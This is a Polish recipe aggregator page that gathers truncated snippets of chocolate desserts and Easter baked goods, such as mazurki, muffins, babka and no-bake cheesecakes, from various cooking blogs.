Mazurek bakaliowy wg Aleex 126

łyżek powideł śliwkowych • około 1 i 1/2 szklanki bakalii: np. suszone śliwki i orzechy: włoskie, laskowe, nerkowce, suszona żurawina, suszone morele, obrane migdały, lub inne • polewa czekoladowa: 150 g czekolady ciemnej np. deserowej lub mlecznej lub pół na pół mlecznej i gorzkiej + 2 łyżki mleka • 4 łyżki smażonej skórki pomarańczowej • opcjonalnie wiórki czekoladowe Sposób przygotowania: 1. Przygotować spód ciasta(...)ciastem i piec przez około 35 minut na złoty kolor. Wyjąć z piekarnika i ostudzić. 5. Na spodzie rozsmarować powidła śliwkowe i ułożyć bakalie. 6. Połamaną na kawałki czekoladę rozpuścić w kąpieli wodnej, dodać mleko. 7. Polać roztopioną czekoladą bakalie. Udekorować według własnego pomysłu. 8. Podawać, pokrojone na małe porcje. Smacznego

W mojej kuchni
muffinki kokosowe 147

przez ok. 25-30 min., do tzw. suchego patyczka. Po upieczeniu odstawiamy do całkowitego wystudzenia. składniki na masę: (masę przygotowujemy wieczór wcześniej) 300 ml śmietany kremówki 200 g białej czekolady dodatkowo: 12 -14 pralinek kokosowych ok. 1/2 szklanki dżemu ok. 70 g wiórków kokosowych uprażonych na suchej patelni wykonanie: Śmietankę podgrzewamy w rondelku, nie doprowadzamy do wrzenia. Zestawiamy z ognia(...)Dodajemy połamaną na kostki czekoladę i odstawiamy na chwilkę. Następnie mieszamy do rozpuszczenia się czekolady. Wystudzoną umieszczamy w lodówce na noc. Po tym czasie ubijamy, aż powstanie gęsty krem. Całkowicie wystudzone muffiny delikatnie wydrążamy od góry do ok. 1/2 części babeczki np. przy pomocy przyrządu do wydrążania jabłek lub łyżeczką. Napełniamy dżemem a wierzch dekorujemy kremem. obsypujemy uprażonymi wiórkami kokosowymi

Domowy Smak Jedzenia
Babka czekoladowa z chili 87

Babka czekoladowa z chili 2016-04-06 12:44:12 Ilość porcji: 8 Słodka czekolada i pikantne papryczki chili - jedno z najlepszych połączeń, jakie ludzkość wymyśliła. Babka jest przepyszna!!! Wilgotna, mocno czekoladowa z delikatnie wyczuwalnym akcentem papryczki chili. Koniecznie spróbujcie. Napisz opinię Zapisz przepis Drukuj Czas przygotowania 15 min Czas gotowania 1 hr Czas całkowity 1 hr 15 min Czas(...)masła 230 g śmietany 18% 3 jajka 1 łyżeczka cynamonu 1 łyżeczka kawy rozpuszczalnej 2 łyżeczki chili w proszku 2 łyżeczki proszku do pieczenia Polewa czekoladowa 60 g gorzkiej czekolady 4 łyżki śmietany 30% 1 łyżeczka masła Instrukcje Do miski przesiewamy mąkę, dodajemy kakao, cynamon, kawę i chili. Masło ubijamy z cukrem na puszysta masę. Nie przerywając ucierania dodajemy stopniowo

Wędrówki po kuchni
Truskawkowy deser z nasionami chia 234

czubate łyżeczki nasion chia szklanka wrzątku 1/2 dużego gęstego jogurtu naturalnego łyżeczka cukru 3 banany miseczka truskawek (mogą być mrożone, ale wtedy dodajemy też trochę cukru) pół tabliczki mlecznej czekolady Nasionka chia zalewamy wrzątkiem. Odstawiamy na ok. 3 godziny do napęcznienia. Jogurt wymieszany z cukrem dodajemy do nasionek. Truskawki i banany zmiksować w 2 osobnych miseczkach. Czekoladę pokroić w cienkie(...)paseczki. Nałożyć masy jogurtowej do szklanek lub słoików, na to mus bananowy, potem truskawki i na wierch wysypać czekoladę. Kolejność warstw można pewnie zmieniać ale gdy cięższe są na wierzchu to wszystko może się wymieszać i nie wygląda już tak fajnie

W kuchni bez szafek
Ciasto Delicja 101

Ciasto, które w smaku przypomina słynne ciastka "Delicja". Biszkopt nasączony Limocello, konfitura z pomarańczy, gęsta galaretka i lekko wytrawna polewa z czekolady. Przepyszne ciasto na weekend. Składniki (na tortownicę o średnicy 16cm): biszkopt z tego przepisu 2 galaretki pomarańczowe 3-4 łyżki konfitury pomarańczowej 3 łyżki Limoncello 50 gram mlecznej czekolady 2 łyżki mleka 1 łyżka kakao 10 gram(...)będzie na tyle gęsta, że nie będzie się rozpływała na boki nakładam ją na ciasto. Całość umieszczam w lodówce na kilka godzin, najlepiej całą noc. W kąpieli wodnej rozpuszczam czekoladę i masło. Dodaję mleko i kakao, dokładnie mieszam. Tak przygotowaną polewą pokrywam ciasto i umieszczam w lodówce do jej stężenia. Smacznego, Klaudia

Mango Papaja
RYŻ Z JABŁKAMI I BIAŁĄ CZEKOLADĄ 121

słodkiego dzieciństwa   SKŁADNIKI 0,5 l mleka, 1/2 szkl. wody, 3/4 szkl. ryżu, 1 łyżka cukru 1 słoik smażonych jabłek (poj.350 ml), 1/4 łyżeczki cynamonu, 1/4 tabliczki białej czekolady  WYKONANIE Ryż gotujemy w mleku wymieszanym z wodą i cukrem. Często mieszamy uważając aby ryż się nie przypalił. Studzimy. Jabłka mieszamy z cynamonem. Czekoladę drobno siekamy. Na dno pucharków(...)wykładamy warstwę ryżu, następnie jabłek, posypujemy białą czekoladą i nakładamy drugi raz te same składniki.  SMACZNEGO

słodki bratek
ROLADA Z OCZKIEM 155

SKŁADNIKI Biszkopt: 5 jajek 5 łyżek mąki 5 łyżek cukru 1 łyżeczka proszku do pieczenia Krem: 1 kostka masła 1 szkl. mleka 1/2 szkl. cukru 1 budyń śmietankowy 1 czekolada o smaku toffi garść siekanych orzechów 2 łyżki likieru orzechowo-czekoladowego Dodatkowo: cukier puder galaretka wiśniowa WYKONANIE 1. Biszkopt: Żółtka oddzielamy od białek, białka ubijamy z cukrem, dodajemy żółtka(...)wyjęciu rolady z piekarniku wykładamy na posypaną ściereczkę i zwijamy w roladę. Zostawiamy do wystudzenia. 2. Galaretkę rozpuszczamy w 1 szkl. wrzącej wody, wlewamy do kwadratowego pojemnika. 3. Krem: Czekoladę rozpuszczamy na parze. Na mleku i cukrze gotujemy budyń. Studzimy. Ucieramy masło, dodajemy budyń, a na końcu rozpuszczoną czekoladę, dokładnie mieszamy, dodajemy alkohol i orzechy. 4. Kremem smarujemy roladę

słodki bratek
FALE DUNAJU 114

cukier waniliowy 6 jajek 250g margaryny 3 płaskie łyżeczki proszku do pieczenia 4 łyżki mleka 3 łyżeczki kakao aromat rumowy Krem: 330 ml śmietany 30% 1 tabliczka gorzkiej czekolady 2 łyżki cukru pudru 2 łyżki wiórek kokosowych Dodatkowo: 1 słoik wiśni drylowanych w zalewie, 3 łyżki wódki CIASTO: Margarynę ucieramy z cukrami, następnie dodajemy po 1 jajku i dalej mieszamy(...)widelcem. Wiśnie osączamy z zalewy, wciskamy w ciemne ciasto. Pieczemy ok. 35 min w temp. 175 stopni. Wódkę mieszamy z 1/3 szkl. zalewy z wiśni, nasączamy nią ciasto. KREM: Czekoladę siekamy na drobne kawałki. Śmietankę podgrzewamy na ogniu, nie dopuszczając żeby się zagotowała, do ciepłej dodajemy czekoladę i mieszamy do uzyskania jednolitej masy. Całość chłodzimy najlepiej przez całą noc. Schłodzoną

słodki bratek
BABECZKI Z CZEKOLADOWYM JAJEM 151

łyżek cukru,  150 g margaryny,  szczypta soli,  1 łyżka śmietany,  olej i bułka tarta do foremek Krem czekoladowy: 1 szkl. śmietany 30%, 1/2 tabliczki czekolady mlecznej, 1/2 tabliczki gorzkiej czekolady. Dodatkowo:  czekoladowe jajka,  kolorowe kuleczki  WYKONANIE Babeczki: Mąkę mieszamy z cukrem, solą , dodajemy zimną margarynę, siekamy nożem. Następnie dodajemy żółtka i łyżkę śmietany(...)kółka szklanką, układamy w foremkach, dociskając ciasto do boków, środek babeczek nakłuwamy widelcem. Pieczemy ok. 15-20 min. w 180 stopniach. Krem: śmietankę przekładamy do garnka, podgrzewamy i dodajemy czekoladę, mieszamy do połączenia składników, uważając aby śmietanka się nie zagotowała. Odstawiamy na 3 godziny do całkowitego wystudzenia. Następnie ubijamy przygotowaną masę, napełniamy nią babeczki, do środka wkładamy jajo. Smacznego

słodki bratek
Tort ambasador 154

tortownicę 26 cm Składniki na masę: ½ kg masła 1 szklanka cukru 2 szklanki mleka 8 żółtek jaja 1 budyń waniliowy 4 kolorowe galaretki 3 łyżki kakao 1 biała czekolada deserowa 1 gorzka czekolada 10 dag orzechów włoskich Składniki na spód ciasta: 1 szklanka mąki 1 jajko 10 dag cukru ½ szklanki mleka 8 dag margaryny 1 łyżeczka cynamonu 2 łyżki kakao(...)utarte żółtka, rozpuszczony budyń i cały czas mieszając ugotować krem.  Ostudzić i utrzeć z masłem. Następnie krem podzielić na trzy części. Do jednej dodać kakao i pokrojone obie czekolady. Do drugiej orzechy (lekko zrumienione na suchej patelni), do trzeciej dodać pokrojone galaretki. Składanie placka: Na spodzie placka rozkładamy masę kakao , druga warstwa to masa z orzechami. Na górę placka

Tradycyjna Kuchnia
Lekki sernik owocowo czekoladowy 150

serniczek to taka lekka bajka, w której chrupiące płatki owsiane romansują z gorzką czekoladą głęboko schowane pod delikatna pianką jogurtowo serową spowitą w frużelinie czereśniowo - truskawkowej. A szczęśliwe zakończenie to brak dodatkowych centymetrów po zjedzeniu kawałeczka, bo jak tu u mnie bywa, postarałam się to całe towarzystwo co nieco odchudzić :) Spód: 1 szklanka płatków owsianych 1/4 kostki masła 1 tabliczka(...)gorzkiej czekolady 4 łyżki mleka Rozpuszczamy masło z czekoladą i mlekiem, a gdy już się ładnie połączą mieszamy z płatkami owsianymi i wykładamy równomiernie na dno tortownicy (średnica 20 cm). Pianka: 1 opakowanie serka mascarpone (250 g.) mały jogurt grecki (200 g) 2 łyżeczki żelatyny 3 łyżki mleka opcjonalnie cukier puder do posłodzenia (ja nie słodziłam) Żelatynę zalewamy mlekiem, odstawiamy

Cynamonowe szczęście
Babka biało - czarna 161

polewą czekoladowo - kokosową. Składniki: 6 białek 100 g cukru brązowego 100 g masła 160 g mąki 2 łyżki kakao 1 łyżeczka proszku do pieczenia  100 g mlecznej czekolady 50 g kokosowej czekolady Masło rozpuścić i ostudzić. Białka ubić na sztywną pianę ze szczyptą soli, pod koniec ubijania dodać cukier. Mąkę z proszkiem do pieczenia przesiać i stopniowo dodać(...)białą masę tak 1/2. do pozostałości dodać kakao i wylać resztę do formy.  Piec w 180 stopniach przez 40 min. Babkę wydostać z formy i zalać ja roztopioną czekoladą w kąpieli wodnej lub ze śmietaną

Panda i jej świat
Mazurek wielkanocny 144

cukru 2 łyżki jogurtu naturalnego 1 szczypta soli 1 jajko Składniki na masę i ozdoby do Mazurka: 1 puszka mleka skondensowanego słodzonego (380 g) 50 g czarnej czekolady 2 łyżki mleka 1 garść płatków migdałowych 1 garść rodzynek  2 łyżki kolorowych ozdób cukrowych Wykonanie: Mąkę połączyć z masłem, cukrem, jogurtem, solą i jajkiem. Wyrobić ciasto. Odłożyć do lodówki(...)słodzone umieścić w garnku z woda, gotować na bardzo wolnym ogniu około 2 godziny. Po tym czasie ostudzić, otworzyć, dodać 1 łyżkę kakao, wymieszać. W kąpieli wodnej rozpuścić gorzką czekoladę z dwiema łyżkami mleka. Ciasto rozwałkować, umieścić w blaszce do tarty o średnicy 28 cm. (Blaszkę wcześniej posmarować masłem, oprószyć cukrem pudrem). Nakłuć widelcem. Piec w temperaturze 200°C przez

Wino Francja Kuchnia
mazurek a la snikers 137

pieczenia, z nadmiar ciasta podwijamy na ścianki blaszki. Pieczemy w 180 st. C do zrumienienia. składniki na nadzienie: 1 puszka gotowego kajmaku lub ugotowane mleko skondensowane słodzone 100 g czekolady mlecznej 50 g czekolady gorzkiej lub deserowej 150 g orzeszków ziemnych, solonych wykonanie: Jeśli używamy gotowego kajmaku to go lekko podgrzewamy aby nabrał konsystencję lekko płynną. Równomiernie rozsmarowujemy na upieczony(...)spód. Posypujemy orzeszkami. Całość polewamy roztopioną czekoladą i schładzamy w lodówce

Domowy Smak Jedzenia
Jaglany sernik na zimno "Bounty" 234

wiórkami kokosowymi. Masę przełożyć do przygotowanej formy, wygładzić wierzch i posypać wiórkami kokosowymi. Schłodzić w lodówce przez kilka godzin a najlepiej przez całą noc. Polewa czekoladowa: 200 g gorzkiej czekolady 90 g śmietanki kokosowej (np. ze schłodzonego mleka kokosowego) oraz: wiórki kokosowe  płatki kokosowe do dekoracji Czekoladę posiekać na małe kawałki, wrzucić do szklanej lub metalowej miseczki, dodać śmietankę(...)kokosową. Miskę umieścić nad rondlem z gotującą się wodą. Rozpuścić czekoladę, mieszając od czasu do czasu. Zdjąć z ognia. Polać ciasto polewą, posypać płatkami kokosa. Przechowywać w lodówce. Smacznego

maniapieczenia
Mazurek z polewą czekoladową 121

mąki krupczatki, 3 ugotowane żółtka, 1 surowe żółtko, 200 g zimnego masła, 100 g cukru pudru, masa czekoladowa: 100 g czekolady mlecznej, 100 g czekolady gorzkiej, 100 ml śmietany 30%, 50 g masła, Ugotowane żółtka przetrzeć przez sito. Mąkę, pokrojone masło, cukier, przetarte żółtka, surowe żółtko włożyć do miksera, szybko zmiksować. Przełożyć na blat lub do miski – zlepić ciasto(...)popękało, najlepiej jest je zsunąć na blachę lub przenieść nawinięte na wałku). Wstawić do piekarnika nagrzanego do 200 stopni na 12 minut. Po wyjęciu ostudzić. Śmietanę, cukier, masło, posiekaną czekoladę włożyć do garnka i gotować na wolnym ogniu, aż masa zgęstnieje. Wylać na ciasto masę czekoladową. Udekorować. Ja posypałam pokruszonymi, karmelizowanymi orzechami (przygotowanymi według przepisu , użyłam około

królestwo garów
Pascha migdałowa z wiśniami i czekoladą 115

wysoka forma – albo do ciasta, albo doniczka, ostatecznie nawet plastikowa butelka po napoju przekrojona na pół (chodzi o tę połowę z dnem :P) Pascha migdałowa z wiśniami i czekoladą Danie Słodkie przekąski Kuchnia Bez glutenu , Słodkości Porcje 6-8 Porcje 6-8 Składniki 500 g twaróg chudy 200 g ksylitolu lub innego słodziwa 5 żółtko ugotowane 120 g masło(...)łyżki śmietana 12% 2 łyżki płatki migdałów 50 g rodzynki dużych, jumbo 50 g suszone wiśnie lub kandyzowane 50 g czekolada gorzka 70% Sposób przygotowania Rodzynki i wiśnie moczymy we wrzątku. Czekoladę kroimy nożem na drobne kawałki Twaróg ucieramy z masłem, słodziwem i żółtkami. Do masy dodajemy śmietanę i dodatki. Mieszamy. Foremkę lub doniczkę wykładamy czystą gazą złożoną na pół

Kucharzyca
Śliwkowiec 205

Moja ostatnia przedświateczna propozycja to ciasto o wdzięcznej nazwie śliwkowiec :) Czekolada, galaretka, śliwki, masa i biszkopt, takie połączenie musi się sprawdzić :)    Składniki: biszkopt - 6 jajek - 5 łyżek mąki - 3/4 szklanki cukru - 2 łyżki kakao - 1/2 łyżeczki proszku do pieczenia masa - 2 szklanki mleka - 3/4 szklanki cukru - 2 łyżki cukru waniliowego - 1 i 1/2 opakowania budyniu waniliowego - 4 żółtka(...)masła - kieliszek spirytusu - 1/2 szklanki gorzkiej herbaty - 400 g śliwek kalifornijskich - 2 gorzkie czekolady - 1 galaretka pomarańczowa - 3 łyżki śmietany 18 %  Przygotowanie: Żółtka oddzielamy od białek. Białka ubijamy na sztywną pianę stopniowo dodając cukier. Do białek wsypujemy porcjami mąkę wymieszaną z proszkiem, kakao oraz żółtka. Ciasto przekładamy do formy o wymiarach 25 cm  35 cm i pieczemy

Zainspirowana w kuchni
Pyszny mazurek kawowy z marmoladą 257

serka waniliowego lub śmietany Nadzienie: 100 g mleka w proszku 1 łyżka kawy rozpuszczalnej ( byle nie była w granulkach bo trudno się rozpuszcza) mały cukier waniliowy Ponadto: marmolada  czekolada mleczna ozdoby   Sposób przygotowania: Mąkę przesiewamy ze szczyptą soli. Dodajemy 200 g schłodzonego masła i 100 g cukru. Składniki siekamy, dodajemy żółtko i serek. Szybko zagniatamy i formujemy kule(...)cukru (100 g) i cukrem waniliowym. Do suchych składników,dolewamy 80 ml wrzątku i miksujemy.  Następnie dodajemy rozpuszczone,ostudzone masło. Mieszamy i wylewamy na ostudzone ciasto. 50 g czekolady rozpuszczamy w kąpieli wodnej. Papier do pieczenia kładziemy na deseczce i łyżeczką robimy esy floresy na papierze, takie nie za duże, żeby po zdejmowaniu z papieru się nie połamały. Wkładamy

Słodkości i nie tylko
Mazurek czekoladowo chałwowy z orzechami nerkowca i batonem 164

moją ozdobicie.  Składniki: ciasto: 250 g mąki pszennej, 100 g masła, 60 g cukru trzcinowego, 2 łyżki śmietany 12%, 2 żółtka, szczypta soli, masa: 100 g gorzkiej czekolady, 200 g chałwy o smaku waniliowym, 100 g śmietanki 30%, 100 g orzechów nerkowca, ponadto: 2 paluszki batonu twix, chałwa do dekoracji. Przygotowanie: Ciasto: Ciasto zagniatamy z podanych składników na jednolitą(...)pieczemy ok. 20 min. Z ciasta ściągamy papier z ryżem i pozostawiamy je w piekarniku przy otwartych drzwiczkach do ostygnięcia. Masa: W do rondelka wrzucamy połamaną w kostkę czekoladę, rozkruszoną chałwę, wlewamy śmietankę i całość podgrzewamy ciągle mieszając do całkowitego rozpuszczenia czekolady ok. 2-3 min (nie zagotowujemy). Następnie miksujemy blenderem do uzyskania gładkiej masy. Orzechy nerkowca kroimy na mniejsze

Moniki Smakołyki
Biszkoptowo-orzechowe kulki ( cake pops bez patyczków ) 138

Składniki: 250 g pokruszonego, suchego ciasta biszkoptowego ( lub innego, np piaskowego ) 100 g masy kajmakowej orzechowej ( np. Helio ) 100 g serka mascarpone ewentualnie łyżka kwaskowatego dżemu Do dekoracji: roztopiona czekolada kolorowe posypki lukier  barwniki spożywcze - do czekolady i lukru Wykonanie: Pokruszone ciastko biszkoptowe wsypać do miski. Masę kajmakową lekko podgrzać i przelać do okruszków. Dodać serek mascarpone i dżem(...)dokładnie połączyć.  Masę wstawić do lodówki na 30 minut. Po tym czasie formować z masy nieduże kulki. Kulki ponownie schować do lodówki - do stężenia. Schłodzone kulki oblewać płynną czekoladą i ozdabiać. Przechowywać w lodówce.   Smacznego

kolorowotorcikowo
Cupcake z malinami i białą czekoladą 156

Muffiny z malinami i białą czekoladą idealne na Wielkanoc dzięki czekoladowym jajeczkom (ale idealne na każdy inny dzień roku ). Robi się je szybko i łatwo, a efekt powala. Są to moje ulubione babeczki. Słodki smak smak ciasta z pomarańczową nutą przełamuje kwaskowata malina. Wszystko dopełnia kremowa polewa z białej czekolady. Dekoracja z czekoladowych jajeczek to miły bonus. POLECAM   Nowy(...)post Cupcake z malinami i białą czekoladą pojawił się w Wypieki i Rumieńce

Wypieki i Rumieńce
Ciasto Usta Adama 332

zwał, ważne że wszystkim smakuje;) Robi się je szybki i sprawnie, kakaowe ciasto wylewamy na zlepione dżemem biszkopty.... pieczemy.  Smaku nadaje masa budyniowa i starta na wierzch czekolada. Smaki dobrane idealnie, polecam nie tylko od Święta ; )   2 paczki okrągłych biszkoptów dżem truskawkowy Ciasto: 1,5 szkl. mąki 1 margaryna 1/3 szkl. cukru 3 łyżki kakao 6 łyżek wody(...)jajek 3 łyżeczki proszku do pieczenia MASA: 2 budynie waniliowe bez cukru 1 łyżka mąki 3 szklanki mleka 6 łyżek cukru 25 dag masła lub margaryny czekolada lub polewa na wierzch    Margarynę, wodę, cukier i kakao, przekładam do rondelka i podgrzewam, stale mieszając, do rozpuszczenia się składników, doprowadzam do wrzenia, odstawiam do wystudzenia. W tym czasie trzeba przygotować

Takie tam pichcenie
Sernik na zimno z czekoladą i migdałami 378

Zapraszam po przepis. Składniki  1 kg sera białego (zmielony trzykrotnie) szklanka cukru pudru 200 ml śmietany kremówki 30 % 1/4 szklanki wody 4 łyżeczki żelatyny biszkopty 1 gorzka czekolada 3 łyżki mleka 1 łyżka masła 1 łyżka cukru pudru migdały - płatki 50 gram Przygotowanie Ser miksujemy z cukrem pudrem i śmietanką. Żelatynę rozpuszczamy w gorącej wodzie i chłodzimy. Letnią dodajemy(...)miksujemy do uzyskania jednolitej konsystencji. W tortownicy o średnicy 24 cm układamy biszkopty, następnie wylewamy masę serową i wkładamy do lodówki. W międzyczasie w kąpieli wodnej rozpuszczamy tabliczkę gorzkiej czekolady, z dodatkiem 3 łyżek mleka, 1 łyżki masła i 1 łyżki cukru pudru. Rozpuszczoną czekoladę wylewany do tortownicy z sernikiem. Gdy lekko stężeje posypujemy obficie płatkami migdałów. Całość chłodzimy

Mój Smak na Życie
Mazurek z konfiturą pomarańczową i orzechami 207

Mazurek last minute - nie będę ściemniać, że się przy nim napracowałam. Zrobił się sam w piekarniku. Moją rolą było nie zepsuć efektu zbyt dużą ilością czekolady i nie zjeść go przed zrobieniem zdjęcia, co było baaardzo trudne... jest słodki, miodowo-cytrusowy w smaku. Do tego chrupiące orzechy... mmm, pycha! Składniki: 2 szklanki mąki pszennej 200 g masła(...)szklanki cukru pudru 2 żółtka Słoiczek konfitury pomarańczowej (u mnie francuska konfitura z dodatkiem imbiru) Garść orzechów włoskich 1/2 tabliczki gorzkiej czekolady 1 łyżka masła Przygotowanie: Mąkę mieszamy z cukrem pudrem, posiekanym masłem i szybko mieszamy, aby uzyskać konsystencję mokrego piasku. Dodajemy żółtka i zagniatamy. Zawijamy w folię i wkładamy na 30 minut do lodówki. Wałkujemy ciasto

Kulinarne Inspiracje
Rogaliki krucho-drożdżowe z czekoladą 143

zimnego masła lub margaryny do pieczenia 3  łyżki cukru 50 g drożdży świeżych szczypta soli duże jajko 4 łyżki gęstej,  kwaśnej śmietany Nadzienie czekoladowe: 18g gorzkiej czekolady 100 ml śmietanki 30% oraz 1 rozbełtane jajko do posmarowania rogalików przed pieczeniem 1.Przygotowanie nadzienia: Śmietankę podgrzać, zdjąć z ognia i dodać połamana na kawałki czekoladę. Mieszać(...)rozpuszczenia czekolady. Odstawić do przestudzenia. 2. Piekarnik rozgrzać do 180 st. C. Blaszki ( 2 lub 3) wyłożyć papierem do pieczenia. 3. Drożdże rozetrzeć z cukrem i śmietaną. Do miski przesiać mąkę, dodać pokrojony na małe kawałki zimny tłuszcz.  Wstępnie zagnieść rękoma, dodać resztę składników i wyrobić na jednolite ciasto o konsystencji podobnej do kruchego. Podzielić

Maślane ciasteczko
Ciasteczkowe lizaki z siemieniem lnianym. 124

najmłodszych gości. Składniki; 20 dag mąki pszennej 1 łyżka cukru pudru (można więcej) 1 jajko 1 żółtko 10 dag masła pół słoiczka powidła śliwkowego Dodatkowo; około pół tabliczki białej czekolady około pół szklanki siemienia lnianego patyczki do szaszłyków Przygotowanie; Z podanych składników zagniatamy ciasto. Następnie zawijamy w folie i wkładamy na około pół godziny do lodówki.  Po tym czasie(...)drugą połówką. I tak do wyczerpania składników. Układamy na wyłożoną papierem do pieczenia blachę i pieczemy aż się zrumienią (około 20 min). Kiedy lizaki już ostygły wtedy je dekorujemy. Czekoladę rozpuszczamy i smarujemy nią brzegi lizaków. A następnie posypujemy lub maczamy je w siemieniu lnianym. Odstawiamy na chwilę aż czekolada zastygnie i możemy podawać. Ten przepis dodaje do akcji superfood

Radość kipiąca uśmiechem.
Mazurek czekoladowy z orzechami, mazurek bez pieczenia 192

masa: 100 g czekolady mlecznej, 180 g czekolady gorzkiej, 80 g cukru, 100 g cukru trzcinowego, 2 pełne łyżki masła, 200 ml śmietany kremówki 30%, orzechy: 50 g migdałów, 50 g orzechów włoskich, 50 g orzechów nerkowca, 50 g orzechów pekan, 10 łyżek cukru, wafle tortowe* Na patelni rozpuścić cukier (ma się rozpuścić i minimalnie zmienić kolor, na jasny bursztyn(...)ostudzenia. Ostudzone orzechy, zawinąć w ściereczkę i roztłuc tłuczkiem. Oddzielnie odłożyć orzechy drobniej stłuczone, oddzielnie grubiej. Tych grubych powinno być około 1/3 całości. Masa: Śmietanę, cukier, masło, posiekaną czekoladę włożyć do garnka i gotować na wolnym ogniu, aż masa zgęstnieje. Odstawić do ostudzenia. Masę podzielić na 5 części. Blat (wafel) posmarować 1/5 masy, posypać 1/2 drobniej rozbitych orzechów. Drugi blat

królestwo garów
Naleśniki z bananem i czekoladą 120

dobrej patelni, którą należy porządnie rozgrzać zanim usmażymy pierwszego naleśnika. Dzięki tym prostym sztuczkom naleśniki wychodzą idealne. Dodatki są tu sprawą drugorzędną, każdy ma swoje ulubione: dżem, czekolada, twaróg lub świeże owoce.   Składniki: Ciasto na naleśniki: 500 ml mleka 2 jajka 250 g mąki pszennej 1 łyżka cukru z prawdziwą wanilią szczypta soli odrobina oleju do smażenia naleśników Krem(...)bananowy: 1 waniliowy serek homogenizowany 2 banany Sos czekoladowy: 100 g czekolady 70% kakao 15 g masła 1,5 łyżki miodu 70 ml mleka Dodatkowo: 1 banan pokrojony w plastry garść płatków migdałów uprażonych na suchej patelni Przygotowanie: Miksujemy mleko i jajka, dodajemy cukier z wanilią, szczyptę soli i stopniowo dodajemy mąkę, cały czas mieszając. Ciasto powinno mieć jednolitą konsystencję

Smakowity Blog Kulinarny
Adwokatowe semifreddo 160

dorosłych, bo z adwokatem. Składniki: 4 żółtka 4 białka 4 płaskie łyżki cukru pudru szczypta soli 200g kremówki 36% 250g mascarpone 150ml likieru adwokat 100g małych bezików 100g gorzkiej czekolady 75g migdałów w płatkach ( użyłam Helio ) Płatki migdałów prażymy na suchej patelni, czekoladę kroimy na kawałki. Białka ubijamy na sztywną pianę ze szczyptą soli. Żółtka ubijamy z cukrem pudrem(...)koniec ubijania dodajemy mascarpone, a następnie wlewamy adwokat i miksujemy do uzyskania gładkiego kremu.  W dużej misce delikatnie mieszamy ubite białka, ubite żółtka, krem adwokatowy, pokruszoną gorzką czekoladę, 50g uprażonych migdałów oraz beziki.  Foremkę wykładamy papierem do pieczenia (chyba, że używamy silikonowej), wypełniamy ją masą, wierzch posypujemy pozostałymi 25g uprażonych migdałów. Lekko dociskamy migdały. Foremkę owijamy folią spożywczą

Gotowanie i blogowanie
Wielkanocny keks 118

jednak bardzo go lubię. Kiedy patrze  na niego napływa mi ślinka do ust. Czy już wiecie o czym mówię??Tak to keks z mnóstwem bakalii,polany białą czekolada i udekorowany kolorowymi skórkami kandyzowanymi. Składniki: mąka pszenna typ 500 cukier brzozowy 1 szklanka białka 1 szklanka proszek do pieczenia 1 łyżeczka olej 1 szklanka Dodatkowo: żurawina suszona 2 garście(...)rodzynki 2 garście skórka pomarańczowa 2 garście morele suszone 10 szt skórka pomarańczowa, cytrynowa  kandyzowana na udekorowanie Polewa: biała czekolada 150 g mleko 2-3 łyżki   Krok 1 Do misy wlewamy białka( temp pokojowa), dodajemy cukier brzozowy( ksylitol) i miksujemy do potrojenia masy. Mąkę przesiewamy w raz z proszkiem do pieczenia i dodajemy do ubitych białek

Różowa kuchnia
Zielone śniadanko dla każdego głodomorka 135

tego przepisu (możesz użyć też płatków sojowych) łyżka siemienia lnianego łyżka amarantusa ekspandowanego pół kostki twarogu- 250g (ja wybrałam półtłusty,jednak możesz zarówno użyć light) :) kostka gorzkiej czekolady kilka orzechów włoskich (możesz użyć też innych) Przygotowanie: Obierz jabłka ze skórki, następnie podziel je na mniejsze kawałki i włóż do blendera. Dodaj wodę i jarmuż. Wyciśnij sok z połowy cytryny(...)wlej do garnka i ustaw go na małym ogniu, żeby się podgrzał. W tym czasie wsyp do miski ziarna soi, amarantus i siemię lniane. Dodaj pokruszony twaróg. Posiekaj kostkę czekolady i orzechy włoskie na drobne kawałki. Ciepłym musem zalej miskę z twarogiem i ziarnami. Całość posyp czekoladą i orzechami. Smacznego! :) Całość zawiera: 541 kcal (509 kcal w wersji z twarogiem

Smiling Shrimp
Ciastko bananowe 118

Wystarczy kawałek ciasta francuskiego i banan, a w 15 minut będziecie zajadać pyszny deser :-) CIASTKO BANANOWE 1/3 płatu ciasta francuskiego (około 20 cm) 1 banan 1 kostka czekolady deserowej 1 łyżeczka soku z cytryny Ciasto rozwijamy i na całej jego szerokości rozsypujemy drobno startą czekoladę deserową (zostawiamy troszkę do dekoracji). Banana obieramy, kroimy w plasterki około 0,5 cm szerokości(...)przykrywając część obłożoną bananem wolną częścią ciasta,brzegi dociskamy. Pieczemy w temperaturze 200 stopni przez około 10 minut. Przed podaniem Przekrawamy na pół i przybieramy plasterkami banana i startą czekoladą. Ciastko bananowe SMACZNEGO

peggiwkuchni
Muffinki cappucino z bananami 121

które lubią połączenie bananów i kawy. Jest to połączenie idealne! Z podanego przepisu wychodzi około 18 szt. muffin. Składniki: 1,5 szklanki mąki niepełna szklanka brązowego cukru tabliczka gorzkiej czekolady 10 dag masła 4 banany 2 jajka 5 łyżeczek cappucino (u mnie orzechowe) 1/4 szklanki mleka 2 płaskie łyżeczki proszku do pieczenia szczypta soli Sposób przygotowania: Cappucino rozpuszczamy w ciepłym(...)mleku. Masło podgrzewamy do czasu aż się rozpuści, odstawiamy żeby trochę przestygło. Czekoladę drobno siekamy. Banany obieramy ze skórki, rozdrabniamy przy pomocy widelca.W jednym naczyniu mieszamy ze sobą mąkę z proszkiem do pieczenia i szczyptą soli. Dodajemy cukier. Łączymy ze sobą. Do drugiego naczynia wkładamy jajka, stopione masło, mleko z kawą i banany. Mieszamy. Zawartość obu naczyń łączymy ze sobą

Pobite gary Barbary
Kakaowe rogaliki z powidłami 186

łyżki kakao, 4 żółtka, 2 łyżki cukru pudru, 1,5 łyżki śmietany 18%, 20g drożdży, 1 łyżeczka proszku do pieczenia, 1/2 słoika powideł śliwkowych ORZECH , 1 tabliczka gorzkiej czekolady. PRZYGOTOWANIE: 1. Mąkę przesiewam na stolnicę. Mieszam z kakao. Dodaję masło oraz pokruszone drożdże i wszystko razem siekam nożem. Następnie dodaję żółtka, cukier puder, śmietanę oraz proszek do pieczenia. Zagniatam ciasto(...)trójkąty.  Na każdy kawałek ciasta nakładam porcję powideł śliwkowych. Ciasto zwijam w rogaliki. 3. Rogaliki układam na blaszce. Piekę około 25 minut w temperaturze 180 stopni. 4. Czekoladę łamię na kostki i rozpuszczam nad kąpielą wodą. Czekoladą polewam upieczone rogaliki. Do przygotowania rogalików wykorzystałam powidła śliwkowe, które otrzymałam do testowania od firmy ORZECH. Zachęcam do zakupu produktów firmy ORZECH

